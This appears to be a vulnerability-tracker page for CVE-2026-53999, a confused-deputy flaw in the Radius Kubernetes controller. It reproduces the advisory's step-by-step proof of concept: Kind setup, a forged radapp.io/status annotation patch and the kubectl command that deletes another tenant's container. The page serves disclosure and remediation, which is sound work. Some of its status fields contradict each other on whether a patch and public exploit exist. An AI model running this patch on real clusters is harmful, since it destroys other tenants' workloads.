Skip to main content

Radius CVE-2026-53999

| EUVDEUVD-2026-101606 HIGH
Improper Input Validation (CWE-20)
2026-06-12 https://github.com/radius-project/radius GHSA-fp5j-4fj2-4jvq
7.7
CVSS 3.1 · Vendor: https://github.com/radius-project/radius
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain annotation-edit RBAC in any watched namespace
  2. Delivery
    Enumerate victim tenant's container resource ID
  3. Exploit
    Patch attacker Deployment with forged radapp.io/status JSON
  4. Execution
    Controller unmarshals annotation without scope validation
  5. Persist
    Controller calls deleteContainer with privileged UCP credentials
  6. Impact
    Victim tenant's container and backing Deployment removed (availability loss)

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
Exploitation Conditions

Exploitation requires (1) a Radius installation at v0.57.1 or earlier deployed in a multi-tenant topology where a single controller reconciles Deployments across resource groups owned by different teams - a single-tenant install yields only self-DoS; (2) the attacker holds Kubernetes permissions to patch annotations on at least one Deployment in any namespace watched by the Radius controller (typical developer or CI-bot RBAC); and (3) knowledge of the victim's full Radius resource ID in the form /planes/radius/local/resourceGroups/<tenant>/providers/Applications.Core/containers/<name>, obtainable via enumeration of UCP or social/organisational knowledge. No user interaction or victim-side authentication is required, but strict-RBAC installs that forbid annotation edits on Radius-managed Deployments, or per-tenant controller deployments, eliminate the cross-tenant path.

Impact

Severity hinges almost entirely on install topology, not the raw 7.7 CVSS. The vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H correctly captures network reachability through the Kubernetes API, the low bar of Deployment-annotation edit rights, and the scope change crossing tenant boundaries; however the vendor itself notes the score collapses to Medium or lower on single-tenant or strict-RBAC installs where only self-DoS is possible. EPSS, KEV status, and a published NVD record are not present in the supplied data, and there is no public exploit identified at time of analysis beyond the GHSA write-up which includes a full step-by-step PoC against Kind. Net result: this is a real priority for organisations running one Radius controller across multiple team-owned resource groups, but a low operational priority for single-team or dev/test deployments, especially given deleted containers are recoverable from Bicep/IaC and there is no confidentiality or integrity impact.

Exploit ScenarioDerived

An internal developer with edit rights on Deployments in tenant-a's namespace patches their own legitimate-app Deployment with a radapp.io/status annotation whose container field references /planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container. On the next reconcile the shared Radius controller unmarshals the annotation and invokes deleteContainer with its privileged UCP credentials, removing tenant-b's container and its backing Kubernetes resources within seconds. Publicly available exploit code in the GHSA advisory walks through this end-to-end against a Kind cluster, so weaponisation cost is minimal once an attacker has any namespace foothold.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 12, 2026

Cross-tenant container deletion in the Radius Kubernetes controller (versions <= v0.57.1) allows a tenant with Deployment annotation-edit rights to coerce the high-privilege controller into deleting another tenant's container resource by injecting a forged radapp.io/status JSON blob. The flaw is a classic Confused Deputy (CWE-441/CWE-20) that yields an availability-only impact, is most severe in multi-tenant installs, and currently has publicly available exploit code via the GHSA advisory but no public exploit identified at time of analysis in CISA KEV.

RemediationAI

Vendor-released patch: Radius v0.58.0 - upgrade the controller (and aligned CLI/UCP components) to v0.58.0 or later as tracked in https://github.com/radius-project/radius/releases/tag/v0.58.0 and detailed in advisory GHSA-fp5j-4fj2-4jvq. Until you can upgrade, tighten Kubernetes RBAC so that only trusted principals can patch annotations on Deployments in Radius-managed namespaces (this breaks legitimate self-service annotation workflows, so plan exceptions for CI service accounts), and add an admission policy (Kyverno/OPA Gatekeeper) that rejects any Deployment write that sets or mutates radapp.io/status - note this is a hard block and you must allow the Radius controller's own service account to bypass it. As a topology-level mitigation, run one Radius controller per tenant/resource group rather than a single shared controller, accepting the operational overhead of multiple control planes; also enable audit logging on cross-scope DELETE calls hitting UCP so anomalous deletions are detectable even if exploitation succeeds.

Affected VersionsENISA

radius < 0.58.0

Affected Packages

go github.com/radius-project/radius fix: 0.58.0
euvd radius fix: 0.58.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Radius is a CNCF-incubating, multi-cloud application platform whose Kubernetes controller reconciles standard Deployments and translates them into Radius (UCP) API resources such as Applications.Core/containers. In pkg/controller/reconciler/annotations.go the controller json.Unmarshals the user-controllable radapp.io/status annotation into a deploymentStatus struct and, at pkg/controller/reconciler/deployment_reconciler.go:491, passes the resulting Container resource ID straight to deleteContainer using its own privileged UCP credentials. Because UCP performs no source-tenant authorization on the DELETE, the controller acts as a confused deputy: an attacker in resource group A supplies a container ID scoped to resource group B and the controller obediently deletes it. The CPE pkg:go/github.com/radius-project/radius confirms the affected component is the Go module, not a downstream distribution.

Know when Kubernetes gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/radius-project/radius) PRIMARY 7.7 HIGH
AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
vuln.today AI 7.7 HIGH

Reachable via the Kubernetes API (AV:N), only an annotation patch is required (AC:L), the attacker needs Deployment-edit RBAC (PR:L), no UI, scope crosses tenants (S:C), and impact is availability-only deletion (C:N/I:N/A:H).

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
SUSE HIGH

Primary rating from Vendor (https://github.com/radius-project/radius).

CVSS VectorVendor: https://github.com/radius-project/radius

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
None
Integrity
None
Availability
High

DescriptionCVE.org

Radius Controller May Delete a Container Resource via an Injected Deployment Annotation (Multi-Tenant Installs)

Summary

A configuration-validation issue in the Radius Kubernetes controller can cause it to issue a DELETE for the container resource referenced by a tampered radapp.io/status annotation on a Deployment. It follows the "Confused Deputy" pattern. Real-world impact is bounded and depends heavily on install topology: in a multi-tenant install (one controller reconciling Deployments across resource groups owned by different teams) it can affect another team's container, while in a single-tenant install it is only self-DoS. There is no data disclosure, no privilege escalation, and no persistence, and deleted resources are recoverable through standard Radius deployment workflows.

  • Vulnerability Type: Configuration Injection / Cross-Tenant Resource Deletion
  • CVSS 3.1 Score: 7.7 (High in worst-case multi-tenant installs; Medium or lower in single-tenant or strict-RBAC installs)
  • CWE Classification: CWE-20 (Improper Input Validation), CWE-441 (Unintended Proxy or Intermediary)
  • Affected Versions: Radius v0.57.1 and earlier versions

Vulnerability Details

Root Cause

The Radius controller deserializes user-controllable JSON data from the radapp.io/status annotation on Kubernetes Deployments without validating whether the resource IDs belong to the current tenant. When the controller performs delete operations, it uses its own high-privilege credentials to send requests to the Radius API, enabling deletion of resources belonging to any tenant.

Vulnerable Code Locations

Vulnerability Source - pkg/controller/reconciler/annotations.go:110-119:

go
s := deploymentStatus{}
status := deployment.Annotations[AnnotationRadiusStatus]
if status != "" {
    err := json.Unmarshal([]byte(status), &s)  // Deserializes user-controllable data without validation
    if err != nil {
        return result, fmt.Errorf("failed to unmarshal status annotation: %w", err)
    }
    result.Status = &s
}

Vulnerability Sink - pkg/controller/reconciler/deployment_reconciler.go:491:

go
poller, err := deleteContainer(ctx, r.Radius, annotations.Status.Container)  // Directly uses user-controllable data for deletion

Attack Chain

text
┌─────────────────────────────────────────────────────────────────────────────┐
│                           Confused Deputy Attack                            │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  Tenant-A (Attacker)                    Tenant-B (Victim)                   │
│  ┌──────────────────┐                   ┌──────────────────┐                │
│  │ legitimate-app   │                   │ victim-container │                │
│  │ (Deployment)     │                   │ (Radius Resource)│                │
│  └────────┬─────────┘                   └────────▲─────────┘                │
│           │                                      │                          │
│           │ 1. Inject malicious                  │ 4. DELETE request        │
│           │    radapp.io/status                  │    (no auth check!)      │
│           │    annotation                        │                          │
│           ▼                                      │                          │
│  ┌──────────────────┐                    ┌───────┴──────────┐               │
│  │ Radius Controller│ ─────────────────▶│   Radius API      │               │
│  │ (High Privilege) │  3. Uses injected  │   (UCP)          │               │
│  └──────────────────┘     container ID   └──────────────────┘               │
│           ▲                                                                 │
│           │ 2. Reads annotation                                             │
│           │    without validation                                           │
│           │                                                                 │
└───────────┴─────────────────────────────────────────────────────────────────┘

Proof of Concept (PoC)

Prerequisites

  • Kubernetes cluster with Radius v0.54.0 installed
  • Attacker has permission to modify Deployment annotations in a namespace
  • Target tenant has Radius-managed container resources

Environment Setup

Step 1: Install Kind Cluster and Radius
bash
# Create Kind cluster
kind create cluster --name radius-test --image kindest/node:v1.27.3
# Install Radius
rad install kubernetes --set global.zipkin.url=http://jaeger-collector.radius-system.svc.cluster.local:9411/api/v2/spans
# Verify installation
kubectl get pods -n radius-system

Expected output:

text
NAME                            READY   STATUS    RESTARTS   AGE
applications-rp-xxx             1/1     Running   0          2m
bicep-de-xxx                    1/1     Running   0          2m
controller-xxx                  1/1     Running   0          2m
ucp-xxx                         1/1     Running   0          2m
Step 2: Create Attacker Tenant (tenant-a)
bash
# Create resource group
rad group create tenant-a
# Create environment
rad env create tenant-a-env --group tenant-a
# Switch to tenant-a
rad group switch tenant-a
rad env switch tenant-a-env
Step 3: Deploy Legitimate Application in tenant-a

Create legitimate-app.bicep:

bicep
extension radius

@description('The Radius application resource')
resource app 'Applications.Core/applications@2023-10-01-preview' = {
  name: 'legitimate-app'
  properties: {
    environment: environment()
  }
}

@description('The container resource')
resource container 'Applications.Core/containers@2023-10-01-preview' = {
  name: 'legitimate-container'
  properties: {
    application: app.id
    container: {
      image: 'nginx:latest'
    }
  }
}

Deploy the application:

bash
rad deploy legitimate-app.bicep
Step 4: Create Victim Tenant (tenant-b)
bash
# Create resource group and environment
rad group create tenant-b
rad env create tenant-b-env --group tenant-b
# Create victim application and container via UCP API
kubectl port-forward svc/ucp -n radius-system 8443:443 &
PF_PID=$!
sleep 3
# Create application
curl -k -X PUT "https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app?api-version=2023-10-01-preview" \
  -H "Content-Type: application/json" \
  -d '{
    "location": "global",
    "properties": {
      "environment": "/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/environments/tenant-b-env"
    }
  }'
# Create container
curl -k -X PUT "https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container?api-version=2023-10-01-preview" \
  -H "Content-Type: application/json" \
  -d '{
    "location": "global",
    "properties": {
      "application": "/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app",
      "container": {
        "image": "nginx:latest"
      }
    }
  }'

kill $PF_PID 2>/dev/null || true
Step 5: Verify Victim Resource Exists
bash
kubectl get deployment -n tenant-b-victim-app victim-container

Expected output:

text
NAME               READY   UP-TO-DATE   AVAILABLE   AGE
victim-container   1/1     1            1           50s

Exploitation

Step 6: Inject Malicious Annotation

Create attack-patch.yaml:

yaml
metadata:
  annotations:
    radapp.io/enabled: "false"
    radapp.io/status: '{"container":"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container","scope":"/planes/radius/local/resourceGroups/tenant-b"}'

Execute the attack:

bash
kubectl patch deployment legitimate-app -n tenant-a --patch-file attack-patch.yaml

Expected output:

text
deployment.apps/legitimate-app patched
Step 7: Verify Attack Success

Wait a few seconds and check the victim's resources:

bash
kubectl get all -n tenant-b-victim-app

Expected output:

text
No resources found in tenant-b-victim-app namespace.

Log Evidence

The controller logs show the cross-tenant deletion operation:

Attack Triggered (15:29:41.351Z):

json
{
  "timestamp": "2026-02-01T15:29:41.351Z",
  "message": "Starting DELETE operation.",
  "Deployment": {"name": "legitimate-app", "namespace": "tenant-a"}
}

Cross-Tenant Delete Request (15:29:41.351Z):

json
{
  "timestamp": "2026-02-01T15:29:41.351Z",
  "message": "Deleting container.",
  "scope": "/planes/radius/local/resourceGroups/tenant-b",
  "resourceType": "Applications.Core/containers"
}

Deletion Successful (15:29:41.367Z):

json
{
  "timestamp": "2026-02-01T15:29:41.367Z",
  "message": "Resource is deleted.",
  "Deployment": {"name": "legitimate-app", "namespace": "tenant-a"}
}

Impact

Security Impact

  • Confidentiality: No direct impact (no data disclosure)
  • Integrity: None - No victim data is modified; the issue deletes a Radius-managed container resource, which is recoverable from IaC
  • Availability: High - Can cause service disruption for target tenants

Attack Prerequisites

  1. Attacker needs permission to modify Deployment annotations in a Kubernetes namespace
  2. Attacker needs to know the target resource's Radius resource ID (obtainable through enumeration or social engineering)

CVSS 3.1 Vector

text
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
MetricValueDescription
Attack VectorNetworkVia Kubernetes API
Attack ComplexityLowOnly requires annotation modification
Privileges RequiredLowRequires Deployment edit permission
User InteractionNoneNo user interaction required
ScopeChangedAffects other tenants
ConfidentialityNoneNo data disclosure
IntegrityNoneNo victim data modified; deletes a recoverable management resource
AvailabilityHighCauses service disruption

Workarounds

Until an official fix is released, consider the following mitigations:

  1. Restrict Annotation Modification Permissions: Use Kubernetes RBAC to limit who can modify Deployment annotations
  2. Monitor Anomalous Operations: Monitor modifications to radapp.io/status annotations, especially those containing other tenants' resource IDs
  3. Network Isolation: Implement strict network policies in multi-tenant environments

Remediation Recommendations

Short-term Fix

Add validation logic in annotations.go to ensure the container ID in radapp.io/status belongs to the current namespace/tenant:

go
func validateContainerScope(deployment *appsv1.Deployment, containerID string) error {
    expectedScope := extractScopeFromDeployment(deployment)
    actualScope := extractScopeFromContainerID(containerID)
    if expectedScope != actualScope {
        return fmt.Errorf("container scope mismatch: expected %s, got %s", expectedScope, actualScope)
    }
    return nil
}

Long-term Fix

  1. Implement Least Privilege Principle: The controller should use credentials associated with the Deployment's tenant
  2. Add Radius API Authorization Validation: UCP should validate the source tenant of delete requests
  3. Audit Logging: Log all cross-tenant operation attempts

References

Executive ViewAI

Why It Matters

Radius Kubernetes controller versions 0.57.1 and earlier contain a cross-tenant container deletion vulnerability (CVE-2026-53999) that allows tenants with annotation-edit permissions to disrupt other tenants' workloads in multi-tenant deployments. Publicly available exploit code exists for this availability-impacting flaw, creating immediate risk to service continuity for organizations operating Radius in multi-tenant Kubernetes environments.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: Restrict Role-Based Access Control (RBAC) to limit Deployment annotation-edit permissions to minimal required principals; enable Kubernetes audit logging to detect suspicious annotation modifications; consider operating in single-tenant mode where feasible; implement network segmentation and namespace isolation between tenant workloads to contain blast radius.

Threat Intelligence Overview

EPSS Score
0.1%
Top 84% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

CVE-2025-1974 CRITICAL POC
9.8 Mar 25

A critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2025-1098 HIGH POC
8.8 Mar 25

Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress

CVE-2025-24514 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres

CVE-2025-1097 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c

CVE-2020-8554 MEDIUM POC
6.3 Jan 21

Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter

CVE-2023-3676 HIGH POC
8.8 Oct 31

A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate

CVE-2025-55190 CRITICAL POC
9.9 Sep 04

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne

CVE-2026-34976 CRITICAL POC
10.0 Apr 02

Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks agai

CVE-2018-18843 CRITICAL POC
10.0 Dec 04

The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4

CVE-2026-54680 CRITICAL POC
9.9 Jul 29

Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can

CVE-2025-64709 CRITICAL POC
9.9 Nov 13

Authenticated Typebot users can abuse the webhook block (HTTP Request component) in versions prior to 3.13.1 to issue ar

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy